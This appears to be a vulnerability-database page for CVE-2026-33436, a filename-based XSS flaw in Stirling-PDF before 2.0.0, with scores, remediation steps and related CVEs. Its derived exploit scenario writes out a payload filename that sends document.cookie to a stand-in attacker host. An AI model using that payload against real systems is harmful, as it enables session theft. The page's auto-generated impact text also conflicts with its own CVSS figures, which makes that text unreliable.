Skip to main content

Stirling Pdf CVE-2026-33436

| EUVDEUVD-2026-23513 MEDIUM
Improper Input Validation (CWE-20)
2026-04-17 GitHub_M
6.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Social engineer victim
  2. Delivery
    Upload file with XSS payload filename
  3. Exploit
    Application renders filename in HTML
  4. Execution
    JavaScript executes in victim's browser
  5. Impact
    Exfiltrate session data or credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

The vulnerability requires the victim to actively upload a file with a malicious filename through Stirling-PDF's web interface. The attacker has no direct control over execution-successful exploitation depends entirely on user interaction (UI:R per CVSS). The attack surface is further limited by the fact that Stirling-PDF is a locally hosted application; if deployed in single-user or isolated environments, the attack vector is negligible. However, in multi-user deployments where unauthenticated or semi-authenticated users can access upload functionality, the risk increases. The vulnerability does not exploit a default misconfiguration or require special product settings-any upload endpoint that renders filenames in HTML is affected. The high attack complexity (AC:H) reflects the social engineering requirement and the need for a victim to view a page displaying the malicious filename. No privilege escalation is required.

Impact

Despite the modest CVSS score of 3.1, this vulnerability presents limited real-world risk due to multiple mitigating factors embedded in the attack vector. The CVSS vector (AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) confirms: network-accessible but high attack complexity (AC:H), no privileges required, and critically, required user interaction (UI:R). The scope is unchanged (S:U), and impact is strictly confidentiality (C:L) with no integrity or availability impact. The attack requires a victim to explicitly upload a malicious file, limiting the attack surface to authenticated or semi-trusted users with file upload permissions. The low CVSS score aligns with genuine exploitation difficulty: an attacker must socially engineer a user to upload a specifically crafted file, and the resulting XSS is scoped to that user's session with limited data exfiltration capability (L:C). This is a lower-priority vulnerability compared to unauthenticated remote code execution or network-accessible authentication bypasses. However, organizations hosting Stirling-PDF in multi-user environments where untrusted users have upload access should prioritize patching to prevent session hijacking or credential theft from legitimate users.

Exploit ScenarioDerived

An attacker crafts a file with a malicious filename such as 'report<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">.pdf' and tricks a legitimate Stirling-PDF user into uploading it via social engineering. When the application renders the filename in the upload confirmation or file list page using innerHTML, the embedded JavaScript executes in the victim's browser, exfiltrating session cookies or performing actions on behalf of the victim. The attack succeeds only if the user completes the file upload and views a page that displays the filename unsanitized.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 17, 2026

Reflected cross-site scripting (XSS) in Stirling-PDF versions before 2.0.0 allows unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by uploading a file with a malicious filename containing script code. The vulnerability affects multiple file upload endpoints that render user-supplied filenames directly into HTML via unsafe DOM manipulation methods without sanitization. Attack requires user interaction (victim must upload the crafted file), limiting real-world impact. No public exploit code or active exploitation has been identified at time of analysis.

RemediationAI

Upgrade Stirling-PDF to version 2.0.0 or later, which fixes the unsafe filename rendering by implementing proper input sanitization and using safe DOM methods (textContent instead of innerHTML) or HTML entity encoding. If immediate upgrade is not feasible, restrict file upload access to trusted users only via authentication controls and network segmentation-deploy Stirling-PDF behind a reverse proxy that enforces authentication and limits upload access to specific IP ranges or user groups. Additionally, configure web server headers (Content-Security-Policy with script-src 'none' or 'self') to mitigate XSS impact, though this is not a substitute for patching. These controls reduce attack surface but do not eliminate the vulnerability; upgrade to 2.0.0 is the primary remediation. Consult the GitHub security advisory at https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-q5j3-4m5w-wp75 for vendor confirmation.

Affected VersionsENISA

Stirling-PDF < 2.0.0

Affected Packages

euvd stirling_pdf fix: 2.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Stirling-PDF is a self-hosted web application for PDF operations. The vulnerability stems from CWE-20 (improper input validation) in the file upload handling logic. Multiple upload endpoints use unsafe HTML rendering methods-specifically innerHTML or equivalent DOM manipulation-to display filenames without encoding or sanitizing user input. When a filename contains JavaScript payload (e.g., 'file<img src=x onerror=alert(1)>.pdf'), the browser interprets and executes the script in the security context of the web application. The affected product is identified via CPE cpe:2.3:a:stirling-tools:stirling-pdf:*:*:*:*:*:*:*:*, indicating all versions before 2.0.0 are vulnerable.

Know when Stirling Pdf gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

5
Severity Changed
Oct 26, 2026 - 21:23 NVD
LOW MEDIUM
CVSS changed
Oct 26, 2026 - 21:23 NVD
3.1 (LOW) 6.1 (MEDIUM)
Patch released
Apr 20, 2026 - 19:03 nvd
Patch available
Patch available
Apr 17, 2026 - 21:16 EUVD
CVE Published
Apr 17, 2026 - 20:29 nvd
LOW 3.1

DescriptionNVD

Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files. In versions prior to 2.0.0, file upload endpoints render user-supplied filenames directly into HTML using unsafe methods like innerHTML without sanitization. An attacker can craft a file with a malicious filename containing JavaScript that executes in the uploading user's browser context, resulting in reflected XSS. The issue affects numerous upload endpoints across the application. The issue has been fixed in version 2.0.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.

CVE-2025-55161 HIGH POC
8.6 Aug 11

Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Rated high severity (CVS

CVE-2025-55150 HIGH POC
8.6 Aug 11

Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Rated high severity (CVS

CVE-2026-113605 HIGH POC
8.6 Oct 20

Stirling-PDF 2.13.2 through 3.2.0 lets an authenticated administrator regain Java method execution by uploading a crafte

CVE-2025-46568 HIGH POC
7.7 May 01

Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. Rated high

CVE-2026-113606 HIGH POC
7.1 Oct 20

Authenticated users on multi-user Stirling-PDF 3.0.0 through 3.2.0 can reach other tenants' stored documents by creating

CVE-2026-71270 HIGH
8.6 Aug 05

Server-side request forgery in Stirling-PDF's POST /api/v1/convert/url/pdf endpoint allows unauthenticated remote attack

CVE-2026-57485 HIGH
8.5 Aug 17

Privilege escalation in Stirling-PDF before 2.9.0 allows any authenticated ROLE_USER to obtain the privileged STIRLING-P

CVE-2026-33437 HIGH
8.1 Aug 17

Stored cross-site scripting in Stirling-PDF prior to version 2.0.0 allows an attacker to embed JavaScript payloads insid

CVE-2026-27625 HIGH
8.1 Mar 20

Stirling-PDF, a locally hosted web application for PDF operations, contains a path traversal vulnerability in the /api/v

CVE-2026-119343 MEDIUM
6.8 Oct 30

Stirling-PDF before 3.0.0 lets remote attackers turn its AI PDF tool into a server-side request forgery and local file d

CVE-2026-33438 MEDIUM
6.5 Mar 26

Stirling-PDF versions 2.1.5 through 2.5.1 are vulnerable to resource exhaustion denial of service through the watermark

CVE-2024-9075 LOW POC
2.3 Sep 21

A vulnerability was found in Stirling-Tools Stirling-PDF up to 0.28.3. Rated low severity (CVSS 2.3), this vulnerability

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy